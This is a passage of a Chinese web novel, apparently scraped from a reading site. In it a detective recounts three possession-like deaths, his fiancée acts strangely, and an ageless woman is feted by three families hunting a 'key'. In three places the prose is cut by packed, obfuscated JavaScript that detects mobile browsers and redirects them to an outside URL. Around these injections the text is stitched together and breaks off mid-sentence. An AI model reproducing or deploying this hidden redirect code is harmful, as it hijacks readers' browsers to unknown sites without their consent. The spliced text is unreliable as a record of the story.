一只鸟而已。他淡漠移回视线,觉得自己是有些疑神疑鬼了。 “哥,想啥呢。”周平在他面前晃了晃手。 江酌嫌弃地看着他刚扣过鼻子的手,端起酒杯喝了一口,看向陈挚,换了个话题:“听说你最近在重新查以前的旧案,查得怎么样了?” 一提起那几个案子陈挚就头疼。 “别提了,”他开口,眉头紧锁,“查来查去,越查越闹心。” 周平来了兴趣,“怎么?真有鬼啊?” 陈挚看了他一眼,又看了看江酌,沉默组织语言。 “十多年前,青山村的那桩旧案,我之前和你们提过,有印象吧。” 陈挚一毕业就进了警局,三人又时常聚头,他经常会吐槽一些工作上难搞的案子。 江酌和周平也有印象。 *** 十多年前,北边青山村,一个普通的农妇,名为马翠芸,四十多岁。 她男人是个老实巴交的农民,两口子结婚多年,感情一直挺好。马翠芸是个能干的女人,屋里屋外一把抓,把穷家收拾得干干净净。 结果某日,那马翠芸突然就跟变了个人似的。 早上马翠芸还跟往常一样给丈夫做早饭,煎了俩荷包蛋。丈夫出门下地,中午回来,就感觉到媳妇有些不对劲。 他媳妇平时说话大嗓门,爱笑爱闹,村里人都说她是个直肠子。那天中午他回来,马翠芸坐在院子里,一句话不说,就那么看着他,眼神冷得人心里发毛。 丈夫问她怎么了,不说话,也没反应。 丈夫立即出门喊人,村子小,吼一嗓子三姑六婆都来了,大伙都说她这是精神出了问题。 她男人也是这么想的,以为媳妇受了什么刺激,脑子糊涂,就带她去镇上看病。 去医院的路上,马翠芸趁他买票的功夫,跑了。 跑得无影无踪,跟人间蒸发一样。 “然后她男人找了她五年。”陈挚说,“五年,一个老实巴交的农民,把家里的地都荒了,骑着个破摩托车,全世界地找。贴寻人启事,上电视寻人节目,去派出所报案,什么都干了。” 所有人都劝他放弃,说人肯定是没了,他不听。 “后来呢,找到了?”周平问。 “找到了。”陈挚点头,“在邻省一个县城里,丈夫在一个菜市场门口撞见她,当时她正从一辆面包车上下来,穿得时髦,跟换了个人一样。” “丈夫冲上去拉住她,哭着喊她名字,她就静静站着,一动不动,表情冷淡,只说了句你认错人了。” 周平听得直皱眉,下意识搓了搓胳膊。 “丈夫当然不信。”陈挚说,“那是他结婚二十多年的媳妇,他怎么可能认错?他拽着那女人不放手,说要带她回家。那女人就挣扎,还喊人来帮忙,后来真的来了几个人,看着就不像善茬,把丈夫打了一顿,扔在路边。” 丈夫从此心灰意冷,拖着被打残的腿一瘸一拐回了家, “又过了一年,大概是冬天,那女人自己回了青山村。” “自己回去?”周平没忍住又问了一句。 “对,半夜三更的,一个人跑回去的。”陈挚皱着眉继续道,“村里狗叫得厉害,又听见敲门声,丈夫开门一看,就看到马翠芸站在门口,浑身是血,脸色白得跟纸一样,人已经快不行了。” “丈夫吓坏了,赶紧开门让她进去,问她怎么了,她哆哆嗦嗦的,没过多久就咽了气。” 丈夫抱着她哭了一夜,第二天一早报了警,等警察赶到的时候,尸体早已凉透。 后来公安局的人去核实,她丈夫看起来像是老了十几岁。 马翠芸临死前一直指着自己,嘴里反反复复就那几个字,‘不是我’、‘不是我干的’。 但到底‘不是’什么,没人知道。 再加上那是十多年前的事,技术没有今天这么发达,那地儿又有些迷信,这案子就这么搁置了下来。 直到后来申海城建扩大,青山村纳入申海管辖范围,技术升级,将那些疑难案子全都归档管理,陈挚上任之后才重新着手调查。 ...... 江酌和周平对视一眼,默默拿起面前的酒杯抿了一口。 周平揽过陈挚的肩膀,“这一天天的都是什么事啊,要我说,你干脆别去上那什么破班了,听着就瘆得慌,还不如跟兄弟几个,混混日子得了。” 陈挚叹一口气,“老爷子临终前就这么一个要求,我总得圆了他的心愿吧。” 陈家老爷子,某日心血来潮出门爬山,被恐怖分子盯上威胁,一通恐吓,让陈家大出血了一番才救回来。 陈老爷子从此身体每况愈下,当时陈挚便下定决心要当警察,最起码名正言顺能枪毙那些狗杂。 他经常和江酌二人打哈哈,说他走明的,实在解决不了的,再拜托他俩在暗地里“照顾照顾”那些走后门的人。 三人碰了杯,陈挚继续说,“本来就这么一个离奇的案子,也不足以引起如此大的重视,可这就奇怪在,那案子过去才没多久,就又有一起类似的。” 巧合到让人很难不将那两起案子联系起来。 大概五六年前,在申海外城的一所普通小学,一个名叫孙武的小学老师,为人老实本分,普通到扔进人海里都找不出来。 某天,他老婆着急忙慌报案说人失踪了。 警察地毯式搜查了几天,没找到丝毫线索,看样子不像绑架,倒像是他自己离开的。 结果没过多久,孙武真就自己回来了。 回来之后,也跟变了个人一样,以前是个话唠,现在沉默不语,以前从不喝酒,现在天天喝,还动不动就骂人、打人。 他老婆以为他受了什么刺激,带他去看医生,医生说检查一切正常。 后来他开始往外跑,课也不上了,请长假,说是要出去旅游。 但他老婆发现不对劲,因为他去的那些地方,根本不是旅游景点。 什么深山老林,荒郊野外,全是没人的地方。 后来警察查他的出行记录,发现他飞机、火车、大巴,什么交通工具都坐过。 最离谱的一次,他三天之内去了六个城市,横跨了大半个国家。 一个小学老师,哪来的那么多钱? 周平忍不住插嘴:“他不会是被什么传销组织洗脑了吧?” “一开始警察也这么想。”陈挚说,“但查来查去,发现都不是,他没有加入任何组织,没有跟任何可疑的人联系,就只是……到处跑,而且跑完之后,他都会回去。” 后来他老婆实在受不了,就和他离了婚,带着孩子回了娘家。 周围人都说他疯了,好好的日子不过,非要折腾成这幅模样。 他就这么“疯”了好几年。 直到有一天,邻居很久没见过他,尝试着去他家探探,打开门发现满地狼藉,还飘着一股恶臭,邻居吓得报了警,警察来时,发现他已经死了一星期。 那附近农村居多,也不兴装监控,没人知道到底发生了什么。 这也让那件案子成了一桩悬案,让人依稀觉得和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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丈夫没发现妻子有其他越矩行为,决定原谅妻子这么一次。 人生在世,何必事事都较真,只要日子和和美美过下去,他可以忘了那天看到的一切。 结果这种事有一就有二,他又发现妻子大半夜出门,还不止一次。 丈夫彻底心冷,开始调查妻子最近都去了什么地方,那个接她的男人是谁。 丈夫趁她不注意时查她的手机,发现原来这几年来妻子每隔一阵就会出去一段时间。 他颤抖着手,在脑海中和这些时间段妻子的行为相匹配,发现这些时间段是早餐店需要进货的时候。 每到这时候,妻子就会出门几日,亲自去乡下买小麦、面粉、大豆之类的必需品。 他觉得妻子太辛苦,提议说以后在超市里买就足够了,还省事,妻子却坚持要去乡下买,说新鲜,也放心。 原来……原来…都是骗他的。 妻子根本没有去什么乡下,她去了好多地方,还都是没听过的地名。 丈夫心中恼怒,将证据全都保存了下来,当天晚上趁妻子不注意,偷偷跟了出去,月光朦胧,他只拍到了黑车内的男人的轮廓。 男人左耳旁处有个模糊的疤痕。 他思考了一晚上,妻子原本是多么勤劳肯干的一个人,绝不可能会做出这种事,难道是那个男人威逼利诱? 丈夫原想要暗中找到那个男人对峙,但第二天看到妻子一脸没事人一样地回来,他耐不住了,旁敲侧击地问,妻子不为所动,语气十分强硬,丈夫的怒火彻底爆发,大声质问她到底去了哪里,做了什么。 妻子听到这些话,看他的眼神瞬间变得冰冷,如同在看陌生人,像是夫妻之间的情感都是装出来的,一瞬间就能出戏,回归原本。 丈夫坚持问她去哪儿了,她不说。问多了,她就发脾气,摔东西,骂人。 两人爆发了好大一阵争吵,直到男人抄起电话说要报警,妻子好似有些畏惧,发疯一样往外冲。 丈夫追出去,看到她往人多的地方跑,丈夫担心她,边喊边追,后来妻子就莫名其妙的直挺挺倒地,不省人事。 警察来到后,丈夫说清楚情况,和警察看了全程的监控,以及之前他偷拍的一些“证据”。 急忙将妻子送到医院,医生却说人已经死了,死因是心脏骤停。 丈夫和警察大眼瞪小眼,这就更邪乎了。 一个上一秒还生龙活虎的人,下一秒就心脏骤停死了? 要不是监控摆在这,谁能相信? 5. 第5章 症状 陈挚刚上任不久,王姐那案子正好落在他手里。 他带着人跑前跑后折腾了几天,越查越觉得不对劲,翻出局里存档的老卷宗一看,才发现这些年还发生过两起类似的案子,时间跨度十几年,手法如出一辙。 他把三份卷宗摊在桌上,盯着泛黄的纸页看了很久。 越看,后背越发凉。 …… “我去,该不会真的是有鬼吧?”周平搓了搓手上的鸡皮疙瘩。 江酌缓慢将手中的酒杯放下。 这三个案子,太过巧合,太过离奇了。 但凡时间间隔久远一些,也不会引起过多注意,但怪就怪在,这些案子的间隔时间太过紧凑。 马翠芸死了没多久,孙武就开始不正常,孙武死了没多久,王姐就出事了。 看起来像是,上一个人死了,下一个人就开始遭殃。 像是某种具有传染性的症状。 或者说,是被什么东西附身了。 附身? 江酌摇了摇头,要是真有这么离奇的事,那些跳大神的、算命的早就统治世界了。 “你们发现没有,这三人都有一个共同点,就是性情大变之后都在往外跑,去很多的地方。”周平皱着眉,“你说他们为什么都争先恐后往外跑呢?跑那么多地方,是为了什么?” 陈挚点头,“这也是让我们百思不得其解的一点,他们去那么多地方,到底是要干什么。” 酒吧里光影交错,DJ换了首快节奏的歌,舞池里的人更疯了,尖叫和笑声混在一起,震得人耳膜发麻。 但这一角吧台却冷飕飕的。 陈挚若有所思道:“感觉,他们像是在找什么东西。” 听到这句话,江酌握着酒杯的手指猛然一缩。 他不可避免想到了那白裙女人说的话,‘钥匙’。 那两个字像把钩子,勾在他心口,迫使他不可避免地往这方面想。 这三个案子若是放在几天前,江酌也就是当个故事听听,但现在这么多诡异的事情就发生在自己身边,这很难让人不多想。 他端起酒杯,把剩下的酒一口闷了。酒液滑过喉咙,又辣又苦,给大脑带来片刻冷静。 周平还在那儿念叨:“找什么东西,该不会是有宝藏吧。” “我听说那些有钱人就爱玩恶趣味,指甲缝中漏出一些钱,藏在各处,然后放出消息,让一大堆人前赴后继地去找,他们就在后面看戏。” 他说得眉飞色舞,说到一半自己先乐了,“不过话又说回来,要是真有宝藏,我也去找找,谁会和钱过不去呢。” 陈挚瞪了他一眼:“你消停会儿。” 周平切了声,不再说话。 陈挚道:“前面两个案子时间太过久远,线索早断了,查他们去的那些地方,也不切实际。” “那三人去过的地方太多,天南海北的,而且都是些小地方,有的甚至连监控都没有,压根不知道他们在那儿干了什么。” 他思索了一番,“不过有一点可以确认,这些症状都具有连续性,只有上一个人死了,才会有下一个人遭殃。” 江酌的眉头动了动。 “我们内部讨论,把这种具有传染性的症状定义为‘X症状’,”陈挚说,“被感染X症状的人,我们叫‘宿主’。” “虽然很不想承认这种乱力神怪的东西,但规律确实如此,”他看向江酌和周平,“一周前早餐店王姐死了,按照规律,下一个宿主可能已经被感染了。” 周平皱着眉:“你是说,现在可能已经有人中招了?” “只是推测,”陈挚正色,“但规律摆在那儿,不得不防。” 说着,他端起酒杯喝了一口,“说了这么多,你们出门也提防着些。” 最近这阵,不太平。 江酌点头,插了一句:“王姐最后去的地方,应该重点排查。” “这个局里也想到了,”陈挚放下酒杯,“但她最后在的地方是申海广场,那里每天人流量上万,筛查工作量庞大,现在还在摸排当中,一时半会儿出不了结果。” 申海广场。 江酌在心里记下了这个地名。 三人又聊了几句,周平觉得这话题太沉重,端起酒杯说:“行了行了,别聊这种晦气事儿了,今天是个好日子,江酌安全回来了,值得庆祝!” “知道哥们有多担心你吗。” 江酌笑了一声,端起酒杯,三人碰了一下。 玻璃杯碰撞,发出清脆的声响。 又喝了几瓶酒,陈挚看了眼时间,指针已经快到十二点。 “我得走了。”他站起身,“明天还得去局里开会,好几个案子等着汇报。” 周平摆摆手:“行行行,大忙人,快走吧,下次有空再约。” 江酌也冲他点了点头。 陈挚出了酒吧,夜风吹过来,带着初秋的凉意,他站在门口深吸了一口气,把酒气压下去。 司机已经在门口等着了,见他出来,立即上前开门。 陈挚上车,靠在座椅上,闭上眼。 陈家在申海也算是个门户,虽不如那几家权贵势大,但也有自己不可替代的产业,在申海勉强站住脚跟。 家中兄弟姐妹众多,陈挚只是其中可有可无的一个,家族产业早有人打理,他也乐得做自己喜欢的事,因此便当了警察。 车子开到他的住处,陈挚轻车熟路掏出钥匙开门。 见屋里竟然亮着灯,他愣了愣,随即往里走。 只见未婚妻梁怡冰坐在沙发上,听见门响,抬起头看向他。 “你怎么来了?”陈挚温和了嗓音,顺手把门关上。 梁怡冰没说话,静静坐着。 灯光打在她脸上,她的表情有点奇怪,看不出喜怒,倒有些像是在观察、审视和试探。 陈挚好歹升到了警局组长的位置,他很敏锐地察觉到这一点。快速换鞋进屋,走到她面前:“怎么了?出什么事了?” 梁怡冰摇了摇头,扯出一个笑:“没什么,就是想你了,过来看看你。” 陈挚看着她,心里有些疑惑,但也没多想,他在梁怡冰旁边坐下,伸手揽住她的肩:“这么晚了过来,也不打个电话,路上多不安全。” 梁怡冰顺势靠过去,“没事,我让司机送我来的。” 陈挚嗯了一声,“饿不饿,我让人送些你爱吃的来。” 梁怡冰摇头,“我吃过晚餐来的,现在还不饿。” 空气沉默下来,陈挚摸了摸鼻子,有些不自在地开口,“我最近工作太忙了,没照顾好你,等过些日子,我就陪你去圣洛利亚玩几天好不好。” 梁怡冰笑起来,“好呀。” 她将脑袋埋进陈挚的胸膛,“听说你最近在为几个案子奔波,很麻烦吗,累的话可以和我说说。” 陈挚叹气,将人往怀里揽了揽:“是挺麻烦的,新案加旧案,线索少,查起来费劲。” 梁怡冰眼眸动了动,“都是些什么案子呀,我听说有那种杀人的,很可怕。” 陈挚被她这天真的发言逗笑了,低头看她,“你以前不是不爱听查案这些事吗。” 梁怡冰身体一僵,“我是担心你的身体,你总是连夜奔波,我都好久没见你了。” 陈挚看着那张生动的脸,心里的疑惑被压了下去。 他脸上浮现出满足的笑容,伸手捏了捏梁怡冰的双颊,“我会注意的,再忙也会抽时间陪你。” 他顿了顿,声音柔和道,“明年的这个时候,我们就该结婚了吧。” 梁怡冰轻轻嗯了一声,从沙发上起身,从一旁的包里拿出一个包装精美的礼盒,递到陈挚面前,微笑道:“今天是七夕,某人忙昏头了,该不会忘了吧。” 陈挚看到面前的礼盒,懊恼地一拍脑袋,“这两天兄弟被人绑架了,我都在忙着找人。” “不过礼物我可没忘,一个月前我就准备好了!” 陈挚起身去卧室,拿了一个华丽的礼盒出来,光是看包装就知道里面的东西价值不菲。 他高兴地递到梁怡冰面前,梁怡冰伸手接过,打开一看,里面是一根镶嵌着宝石的黄金项链。 淡蓝色的宝石晶莹剔透,在灯光下折射出细碎的光芒,黄金精细雕琢成藤蔓的形状包裹住蓝宝石,整条项链做工繁复精致。 这是上一次他陪梁怡冰逛街的时候,在一家珠宝店看到的。 当时她站在橱窗前看了好几眼,虽然没说想要,但他记住了。 后来他偷偷回去,把项链买了下来,准备在七夕的时候送给她,给她一个惊喜。 买完那天,他想象着梁怡冰收到礼物时惊讶又开心的表情,忍不住自己先笑了起来。 但如今梁怡冰接过项链,确实被惊艳了一瞬,不过眼底却没多少欣喜,她将礼盒盖上,给了陈挚一个拥抱, “谢谢你,我很喜欢。” “喜欢就好。”陈挚回抱她,动作有些僵硬。 他当然没错过梁怡冰眼底的平淡。 好像今晚,她的反应一直都挺平淡的。 难不成是因为自己忘了今天是七夕节,她生气了?陈挚疑惑。但梁怡冰也不是会生闷气的性子,一丁点不高兴就会说出口。 就连出门逛街,鞋子脏了都要发信息给他撒娇哭诉,又抱怨不满意他工作忙,他哄半天说下次带她去买新鞋子,这才作罢。 陈挚垂下眼眸,不动声色将人推开一些,温声道:“哎对了,上周你说要请两个朋友吃饭,怎么样,开心吗。” 梁怡冰没察觉到什么,笑着点头,“她俩刚回国,我带她们去咱们最常去吃的那家西餐,聊的挺开心。” “这样啊。”陈挚身体僵了一瞬。 两个人又坐了一会儿,梁怡冰说太晚了,她要回去了,俩人是订了婚,却没有同居。 陈挚送她下楼,叫司机送她回家,看着车消失在夜色里。 他拿出手机,搜索那家最常去的西餐,颤抖的手想要再次确认位置。 结果显示,就在申海广场。 整个世界忽然嗡的一声,视野好似变成了一片毛玻璃。 他回到客厅,瘫在沙发上,盯着天花板。 应该只是巧合吧。 申海广场那么大,那么多人,怎么可能…… 他闭上眼,强迫自己不要再想。 但那个念头,像一根刺,扎在他脑子里,怎么也拔不掉。 *** 陈挚走后,江酌和周平在酒吧又聊了半响。 周平开了两瓶酒,絮絮叨叨说着他被绑架这两天发生的事。 谁谁谁又惹事了,谁谁谁又发财了,谁谁谁又来找他打听江酌的下落。 江酌听着,偶尔应两声,脑子里想着别的事。 “你是不知道,前天晚上有人在赌场输了八百万,当场被人扣下了,打电话叫家里人来赎,结果你猜怎么着?” “来的是他老婆,带着离婚协议书来的,现场鸡飞狗跳,可热闹了,将家里头那些肮脏事抖落个干净,哈哈哈。” 周平说得眉飞色舞,说到一半发现江酌压根没在听,他摆了摆手,“哥?” 江酌回过神,“嗯?” 周平:“我说,你听没听啊?” “听了,”江酌晃了晃酒杯,说着不由得瞥周平几眼,狐疑道:“两天时间能发生这么多事?” 周平与他碰杯:“我混圈子里的,什么消息能逃过我?” 江酌没反驳他,端起酒杯抿了一口。 周平见他脸色不自然,压低声音道:“哥,你是不是有什么事瞒着我?” 江酌的动作顿了顿,“没有。” “真的?” “真的,再说了我瞒你干什么。”江酌没好气,一口将酒闷尽。 周平收回目光,“行吧,你说没有就没有。” “不过你要是有什么事,别一个人扛着,哥们虽然没什么大本事,但也能派得上用场。” 江酌笑了笑,“行了,总吹嘘你那点本事。” 俩人又喝了一会才散场。 江酌出了酒吧,红色超跑引擎轰鸣,他一脚油门踩下去,离开酒吧一条街。 他没直接回家,想了想,方向一打,往江氏私人医院开去。 夜里的医院很安静,虽然灯火通明,却没见几个人走动。江酌把车停在专用车位上,走进门诊大楼。 值班护士看见他,愣了愣,随即起身相迎:“江少,这么晚了,您怎么来了?” “做个全身检查,”江酌说,“能做的都要做,要最快的,最全的。” “好的,”护士一边填表,没敢多问,一边说,“请往这边走。” 检查的流程很快。 抽血、CT、核磁共振、心电图、超声波……他把所有能做的项目都做了一遍。 冰冷的仪器贴在他身上,发出嗡嗡的声响,他盯着天花板,脑子混乱无比。 做完最后一个项目,护士递给他一张单子:“江少,最快的结果至少三小时。” 江酌接过单子,看了眼便揣进口袋,“出结果后立马通知我。” “还有,别告诉任何人我来过。” 护士点头:“好的,江少。” 江酌出了医院,回到车上。 他在驾驶座上坐了一会儿,车窗外的路灯照进来,在仪表盘上投下一小片昏黄的光。 三小时后出结果。 他看了眼时间,快凌晨两点了。 算了,先回去。 他发动车,往自己买的那套公寓开去,那是他常去的一处房产,在市中心地段最好那栋楼的顶层,又名云顶天宫。 内有落地大窗,站在窗边可以俯瞰整个申海,他平日里没啥事都住在这儿,除了江天威专门打电话催他回去,他一般不回老宅。 电梯直达顶层,指纹锁开了门,屋里黑漆漆一片。 他按开灯,玄关的灯亮起来,照出客厅里的一堆东西。 各种各样的礼盒,大大小小的箱子,堆在茶几上、沙发上、地上。 这都是那些人送来巴结他的。 江酌在这堆东西面前站定。 那个女人说他接触 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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*** 司凝玉的直升机从九盘山回来,就径直落到了自家的别墅停机坪上。 冰魄和那个男人的直升机比她早到十多分钟,现在已经出发去找钥匙了。 司凝玉看着掌心那颗黑曜石耳钉,思索片刻,将它揣进兜里。 她让海蜇处理过这东西,这颗耳钉现在是一颗普通耳钉。 在她踏出直升机的一瞬间,整个院子仿佛活了过来。 院子中郁郁葱葱的植物,原本静静地立在日光里,此刻却像是被唤醒了一般。 入目可及之处,所有的枝叶都随着她的动作轻轻摇摆,无风自动,拼了命地往她身边靠。 月季花丛簌簌作响,盛开的花朵微微转动,花心对着她的方向,院子中的老槐树枝条垂下来,轻轻拂过她经过的地面。 小动物们争先恐后从草丛跳出来,在她脚边打转,一只灰兔亲昵地蹭她的脚踝,动物们随着她往前走动的动作纷纷移动,却不会阻止她的每一步下脚。 任谁看到这奇异的一幕都会目瞪口呆。 司凝玉微微勾起嘴角。 她很少笑,但此刻,看到这样的场景,她的眼底浮现出明显的暖意。 她蹲下身,伸手摸了摸灰兔的耳朵,灰兔舒服地眯起眼睛,往她手心里蹭了蹭。 司凝玉起身往前,推开别墅的门,内部装修简约,却处处透着低调的奢华。 客厅内,檀木桌子上的一个猫咪模样的小泥塑忽地动了一下。 “喵!” 一只肥胖的黑猫猛然出现,往司凝玉的方向扑过来,摇着尾巴喵喵喵地围着她打转。 声音又急又委屈,像是在抱怨她怎么出去这么久。 司凝玉将黑猫抱起,给它顺了顺毛,“小黑,我不在的时候你少出去吓唬院子里的小动物。” “喵...”黑猫委屈一声,又舒舒服服窝在司凝玉的怀里。 兜里的通讯器震动一声,司凝玉将通讯器掏来出来,看上面冰魄发来的信息。 这是一个手机形状的物件,功能也与手机差不多,她略微加工了一些,使用这个通讯器上网不会留痕,更不会被追踪定位。 这样的东西,她只给了身边的几个人,方便随时联系。 司凝玉闭起眼睛,意识沉下去,又浮起来。她感受了派出去的麻雀的位置,以及麻雀看到的东西。 她睁开眼,点击连接冰魄的无线耳机。 随着他们在江氏别墅区的走动,麻雀也随之变动位置,她一边和冰魄通话,一边通过麻雀看到相应的场景。 “这里没有,先离开,不要打草惊蛇,我会盯着他。” 冰魄听完她的话,很快和海蜇一起撤退。 司凝玉挂掉通讯,猛然觉察一阵心神不稳,眼前一黑,差点栽倒在地。 “喵!!” 黑猫爆炸一样从她怀里离开,爪子拼命扯着司凝玉的衣袖,生怕她重心不稳掉下沙发。 “小黑,我没事。”司凝玉镇静下来,仰靠在沙发上。 小黑还是不放心,喵喵喵地围着她打转,而后又撒丫子往客厅中间的桌子跑去,拉开抽屉,叼了一个小箱子跑回来,跳上沙发。 司凝玉好笑地接过医药箱,“小黑,这是人类的药品,对我没用。” 这话让黑猫像霜打了的茄子一样怏下来,趴在她腿边,可怜兮兮的样。 司凝玉摸了摸小黑的脑袋,看向自己的手,动作一顿。 手臂苍白得近乎透明,连里面微小的血管都一清二楚。 她才苏醒不久,自身的能量本就不稳定,方才在山林中又费了巨大的能量去救那个男人,剩下的堪堪仅够支撑她回到家。 “果然,在这里越久,就会被腐蚀得越厉害。”她喃喃自语。 这也是她为什么没有亲自跟着去找钥匙的原因,她现在太虚弱了。 司凝玉立即凝神,自身疗养。 袖摆无风自动,无数绿色的光点慢慢浮现,在她周围旋转,然后缓缓融入身体。 小黑趴在她腿边,眼睛里映照着如同萤火虫一样飘在空中的绿色光点。 一直从白天到夜晚,司凝玉睁开眼,手臂已经恢复了血色,不再是可怕的苍白,她握了握拳,力气也回来了。 又活动了几下身体,感觉全身的血液重新开始流动,这才长舒一口气。 但这只是暂时的恢复,能量亏空巨大,接下来的一段时间都要闭关休息才行。 注意到通讯器上有新讯息,她点开一看,是杜太公发来的。 【司小姐,听说您已经回申海了,今晚咱们三家给您准备了晚宴,不知您是否方便?】 发送时间是几个小时前。 她看了眼窗外的夜色,漫不经心回了句,【我会去。】 6. 第6章 秘密 收到信息的同时,杜家立刻就张罗了下去。 杜家是申海数得着的世家,祖宅占地百亩,园林亭台一应俱全,由前朝某个亲王的府邸改建而成。 此刻后院灯火通明,仆人行色匆匆,为今晚的晚宴做着准备。 管家亲自叮嘱过,今晚的晚宴不容许有丝毫的差错。 “那边那盆花太偏了,往左挪三寸。”管家在外面手舞足蹈地指挥仆人,“来两个人,重新摆。” 两个仆人立刻上前,小心翼翼地把花盆挪动。 “桌子上的茶杯,再摆正一点。” 另一个仆人上前,把茶杯转了转,让杯柄的角度完全一致。 能得到杜太公这样重视的人,必然是大人物,没人敢懈怠半分。 书房内,杜太公坐在太师椅上,闭着眼,手指一下一下地敲着扶手。 他今年八十有六,头发花白,脸上沟壑纵横,但那双眼睛开阖间精光隐现,让人不敢直视。 “太公。”一个中年人快步走进来,躬身道,“段家和柳家的人都到了,在偏厅喝茶。” 杜太公睁开眼,点了点头:“司小姐呢?” “还没到,不过传来消息,说已经出门了,估摸着还有半小时。” “嗯。”杜太公站起身,理了理衣衫,“走吧,先去偏厅。” 他走了两步,又停下来,回头看向那个中年人:“阿恒,今晚的宴席,你再去盯梢几眼,尤其是司小姐爱吃的那几道点心,一样都不能少。” “是。”阿恒点头。 杜太公顿了顿,压低声音:“还有,我让你安排的人,安排好了吗?” 阿恒神色一凛,凑近一步:“安排好了,是咱们家的老四,他嘴严,办事利索,明面上是去九盘山采药,不会引人注意。” 杜太公点了点头,没再说话,抬脚往偏厅走去。 阿恒跟在后面,欲言又止,走了几步,终于忍不住开口:“太公,我多嘴问一句,咱们为什么要……” 杜太公脚步顿了顿,回头看了他一眼。 眼神淡漠无比,中年人后背一凉,立刻低下头去,把后面没说完的话咽回肚子里。 杜太公没有说话,不紧不慢继续往外走。 偏厅里,段鸿远和柳则呈已经坐着喝茶了。 段鸿远六十出头,身材魁梧,一张国字脸,说话中气十足。 他祖上是行伍出身,世代从军,虽然现在也经商,但骨子里还是那股子军人做派,坐得笔直,喝茶都喝出了一种练兵的气势。 柳则呈比他年轻几岁,瘦长脸,戴着一副金丝眼镜,说话慢条斯理,一看就是做惯生意的。 柳家出口业发达,他常年和外国人打交道,练就了一身见人说人话,见鬼说鬼话的本事。 两人看见杜太公进来,都站起身。 “杜老。”段鸿远拱手。 “杜兄。”柳则呈点头。 杜太公笑着摆手:“坐坐坐,都是自家人,不必多礼。” 三人落座,仆人重新上了茶。 寒暄了几句,段鸿远放下茶杯,看向杜太公:“杜老,司小姐这次从九盘山回来,你可知道具体消息?” 杜太公摇摇头:“不知道,司小姐没说,我也没敢问。” 段鸿远皱了皱眉:“那钥匙……有消息了吗?” 杜太公看了他一眼,端起茶盏。 柳则呈推了推眼镜,慢悠悠开口道:“段兄,这事儿不急,司小姐做事自然有她的道理,咱们做好后勤工作就是。” 段鸿远两道浓眉拧在一起:“后勤?咱们做了多少年了,那劳什子钥匙影都没有,还要等到什么时候?” “司小姐一直不让我们出动大批人手,说会引起有心人的注意,只能暗地里进行。咱这么多年一直谨小慎微地排查,但整个地球多大啊,啥时候才能查完。” 柳则呈笑了笑,没接话。 杜太公抿了一口茶,目光在两人脸上转了一圈。 段家世代从军,对司小姐忠心耿耿,但也最直来直去,不爽或者高兴,都直接说出口,从不绕弯子,有什么说什么。 这种人好用,但也容易坏事。 柳家做生意做惯了,圆滑世故,从不把话说死,这种人不好用,但也坏不了事。 这两家,一个硬一个软,倒也相互制擎。 杜太公放下茶杯,开口打圆场:“鸿远,则呈说得对,司小姐的事,咱们做好后勤工作就是,至于其他的……慢慢来,咱们急也没用。” 他顿了顿,又说:“今晚的宴席,主要是给司小姐接风,咱们三家难得聚一次,叙叙旧,吃吃饭,别的都不提。” 那钥匙都找了这么多年了,一点线索都没有,还不如开开心心吃饭,提了反倒让大伙都不高兴。 段鸿远听罢,没再说什么。 三人又喝了一会儿茶,管家进来通报:“太公,司小姐到了。” 三人同时站起身,整理衣冠,往门口迎去。 ...... 司凝玉的车停在杜家门口。 她下了车,黑猫从车里蹿出来,蹲在她脚边,警惕地打量着四周。 杜太公三人迎了出来,身后还跟着一群族人,全是白发苍苍,都是族老辈的存在。 司小姐的存在,只有最核心的族老才有资格知晓。 杜家一个老眼昏花的族老微微抬起头,眯起眼睛拼命想往司凝玉的方向看去。 只见她不过二十出头,长发披散下来,给她增添了一种神秘的美,柔和了身上冰冷的气息,让她看起来不那么遥远。 族老感慨,当年他第一次见到这位只在杜家高层露面的司小姐时,她也是这般年轻。 那时候他还是个青年人,身强力壮,跟在杜老太爷身后,远远地看过一眼。 现如今他老眼昏花,老得不成样子,背驼了,腿也软了,走路都要人扶,而她依旧年轻靓丽。 不过有些念头只能放在心里,他感慨一声,又恭敬地低下头去。 “司小姐,”杜太公躬身行礼,“您来了。” 他身后的众人也跟着行礼,一个个神色恭敬,动作整齐划一,显然是排练过的。 一群白发苍苍的老人,对着一个二十出头的年轻女孩弯腰,那画面透着说不出的诡异。 司凝玉眉头微不可察地蹙了一下,“不用这样。” 大伙听完,依旧是恭敬无比地站着,没人敢有过多的动作。 她瞥了人群一眼,看样子若是她没有动作,这一大群人能陪她一直站着。 司凝玉收回目光,抬脚往里走,众人簇拥着她进了府邸。 院子中,杜家小姐杜灵躲在假山后偷偷瞄向这边。 她听说太爷爷要宴请一位贵客,忍不住溜出来偷看。 见到对方只不过是和她差不多年纪的一个年轻女孩,更好奇了,不明白为什么太爷爷如此重视这个年轻女孩。 她悄悄跟了过去。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482274|201816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 晚宴设在杜府的正厅。 司凝玉随意落座,管家吓得半死地迎上来,恭恭敬敬地将她请到最上面的主位坐下。 杜太公、段鸿远、柳则呈分坐两侧,其他族老依次落座,满满坐了一厅。 杜灵躲在门后,远远地看着主位上的司凝玉。 她看到那个漂亮姐姐几乎不怎么说话,偶尔点点头,嗯一声,表情淡淡的。 但她看到自己太爷爷说话的时候,语气都比平时恭敬几分,段家家主和柳家家主也是,说话小心翼翼的,生怕说错一个字。 她有点不懂。 